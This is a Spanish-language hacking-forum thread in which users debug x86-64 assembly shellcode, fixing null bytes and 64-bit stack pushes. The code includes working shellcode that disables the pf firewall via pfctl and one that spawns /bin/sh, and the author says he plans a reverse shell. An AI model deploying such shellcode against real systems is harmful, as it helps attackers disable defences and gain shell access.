elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  Shellcode direcciones
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Shellcode direcciones  (Leído 5,291 veces)
xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Shellcode direcciones
« en: 8 Diciembre 2012, 09:29 am »

Hola

Estoy creando una shellcode para que desactive pf, y tengo el siguiente problema.

Código
  1. .section .text
  2. .globl _start
  3. _start:
  4.  
  5. pushq %rax
  6. push $0x6c746366
  7. push $0x702f6e69
  8. push $0x62732f2f
  9. movq %rsp, %rdi
  10. pushq %rax
  11. push $0x642d
  12. pushq %rdi
  13. movq %rsp, %rsi
  14. xorq %rax, %rax
  15. movb $0x3b, %al
  16. int $0x80
  17.  
  18. xorq %rax, %rax
  19. movb $0x01, %al
  20. int $0x80

No presenta ninguna segmentation fault así que la tracé.

Código:
 11277 l        CALL  execve(0x7f7fffff6960,0x7f7fffff6948,0)
 11277 l        NAMI  "//sb"
 11277 l        RET   execve -1 errno 2 No such file or directory
 11277 l        CALL  exit(0x7f7fffff6960)

Al cargar la dirección de pfctl, solo copia en el registro rdi 0x62732f2f "//sb" no entiendo porque no carga la dirección completa.

Un saludo.


En línea

xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: Shellcode direcciones
« Respuesta #1 en: 11 Diciembre 2012, 16:07 pm »

Hice una de /bin/sh y funciona.

Código
  1. .section .text
  2. .globl _start
  3. _start:
  4.  
  5. pushq %rax
  6. movq $0x68732f6e69622f2f, %rax
  7. pushq %rax
  8. movq %rsp, %rdi
  9. xchgq %rax, %rbx
  10. pushq %rax
  11. movq %rsp, %rsi
  12. movb $0x3b, %al
  13. int $0x80

La dirección es de 64bits, por eso la puedo copiar a rax, pero que pasa cuando es mayor como la de arriba por que no funcionan los push?

Un saludo.


« Última modificación: 3 Enero 2013, 15:56 pm por cpu2 » En línea

xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: Shellcode direcciones
« Respuesta #2 en: 2 Enero 2013, 21:02 pm »

Perdón por el triple post.

Probé los push en una arquitectura de 32 bits y funcionan, porque en la de 64 bits no?

¿Como podría hacer eso en la de 64 bits?

Un saludo.
En línea

avesudra


Desconectado Desconectado

Mensajes: 724


Intentando ser mejor cada día :)


Ver Perfil
Re: Shellcode direcciones
« Respuesta #3 en: 2 Enero 2013, 21:43 pm »

Por lo que he estado leyendo no se puede hacer push con registros de 32 bits tiene que ser con el de 64 entero si se está programando en 64 bits ya que la pila se maneja así.. Yo no tengo mucha idea aviso eh  :laugh: pero no se ¿se podría hacer esto?:
Código
  1.    .section .text
  2. .globl _start
  3. _start:
  4.  
  5. pushq %rax
  6. pushq $0x6c746366
  7. pushq $0x702f6e69
  8. pushq $0x62732f2f
  9. movq %rsp, %rdi
  10. pushq %rax
  11. pushq $0x642d
  12. pushq %rdi
  13. movq %rsp, %rsi
  14. xorq %rax, %rax
  15. movb $0x3b, %al
  16. int $0x80
  17.  
  18. xorq %rax, %rax
  19. movb $0x01, %al
  20. int $0x80

¿O la he liado demasiado?
He sacado esto de la documentación de AMD:
Citar
In 64-bit mode, the operand size of all PUSH instructions defaults to 64 bits, and there is no prefix available to encode a 32-bit operand size. Using the PUSH CS, PUSH DS, PUSH ES, or PUSH SS instructions in 64-bit mode generates an invalid-opcode exception.
Pushing an odd number of 16-bit operands when the stack address-size attribute is 32 results in a misaligned stack pointer.
Fuente: http://support.amd.com/us/Processor_TechDocs/24594_APM_v3.pdf
« Última modificación: 2 Enero 2013, 22:02 pm por avesudra » En línea

Regístrate en
xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: Shellcode direcciones
« Respuesta #4 en: 3 Enero 2013, 15:55 pm »

No entendiste mí pregunta, si puedo hacer push con esas direcciones de 32 bits lo que pasa es que solo copia la primera dirección las otras dos no.

Código
  1. push $0x6c746366
  2. push $0x702f6e69
  3. push $0x62732f2f    #  //sb

Código:
11277 l        CALL  execve(0x7f7fffff6960,0x7f7fffff6948,0)
 11277 l        NAMI "//sb"
 11277 l        RET   execve -1 errno 2 No such file or directory
 11277 l        CALL  exit(0x7f7fffff6960)

Pero en una arquitectura de 32 bits si que funcionan.

En cuanto a tú solución, no la liaste, pero las q no afectan en nada eso ya lo probé antes de que lo dijeras, como dice ese fragmento sacado de los manuales de AMD si que puedo hacer push a 16-bit pero me deja un opcode (bad).

La solución es mover bits ala derecha con shr, así funciono, lo probé con otro código, cuando lo tenga implementado en la shellcode lo subo.

Un saludo.

P.D: La shellcode de /bin/sh pesa un byte menos con un xchg.

P.D2: Todo esto lo quiero implementar en una reverse shell, pero nose si se pueden subir esos códigos al foro.
En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: Shellcode direcciones
« Respuesta #5 en: 3 Enero 2013, 16:59 pm »

Claro que se puede subir una reverse shell al foro, si hay un subforo de analisis y diseño de malware y se suben troyanos  ;)
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: Shellcode direcciones
« Respuesta #6 en: 5 Enero 2013, 13:13 pm »

Código
  1. .section .text
  2. .globl _start
  3.  
  4. _start:
  5.  
  6. pushq %rax
  7. pushw $0x642d
  8. movq %rsp, %r8
  9. movq $0x6c7463ffffffffff, %rax
  10. shrq $0x28, %rax
  11. pushq %rax
  12. movq $0x66702f6e6962732f, %rax
  13. pushq %rax
  14. movq %rsp, %rdi
  15. xchgq %rax, %r9
  16. pushq %rax
  17. pushq %r8
  18. pushq %rdi
  19. movq %rsp, %rsi
  20. movb $0x3b, %al
  21. syscall

Mueve 40 bits ala derecha, las ff, dejando espacio para la segunda dirección.

Miraré los manuales de intel o amd tendra que poner algo sobre el stack de 64 bits, en la arquitectura de 32 bits no hace falta mover bits, no sé es como si la de 64 bits no reservara espacio, no lo entiendo del todo.

Un saludo.

P.D: Tema resuelto.
« Última modificación: 5 Enero 2013, 13:26 pm por cpu2 » En línea

avesudra


Desconectado Desconectado

Mensajes: 724


Intentando ser mejor cada día :)


Ver Perfil
Re: Shellcode direcciones
« Respuesta #7 en: 5 Enero 2013, 15:50 pm »

Que curioso, entonces al final lo que te quedaría en la pila sería:

Código
  1. 0x00000000006c7463
  2. 0x66702f6e6962732f

Pero en tu primero código si funcionase te quedaría así:

Código
  1. 0x000000006c746366
  2. 0x00000000702f6e69
  3. 0x0000000062732f2f

¿Eso no importa? Perdona por la ignorancia  :-\
En línea

Regístrate en
xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: Shellcode direcciones
« Respuesta #8 en: 5 Enero 2013, 20:04 pm »

Exacto, tú mismo contestaste tú pregunta, si no moviera esos 5 byte seria así:

Código
  1. 0x6c7463ffffffffff
  2. 0x66702f6e6962732f

Y el de 32 bits no funciona por culpa de los byte nulos, por eso solo reconoce //sb.

Un saludo.

P.D: Hice como un ejercicio con la syscall write, lo quieres?
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
.:. Shellcode 2 ASM .:. « 1 2 »
ASM
Garfield07 13 10,351 Último mensaje 3 Enero 2011, 20:31 pm
por Garfield07
[MSF] Modificar un shellcode
Análisis y Diseño de Malware
4v1dy4 8 7,706 Último mensaje 15 Enero 2023, 00:28 am
por 4v1dy4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines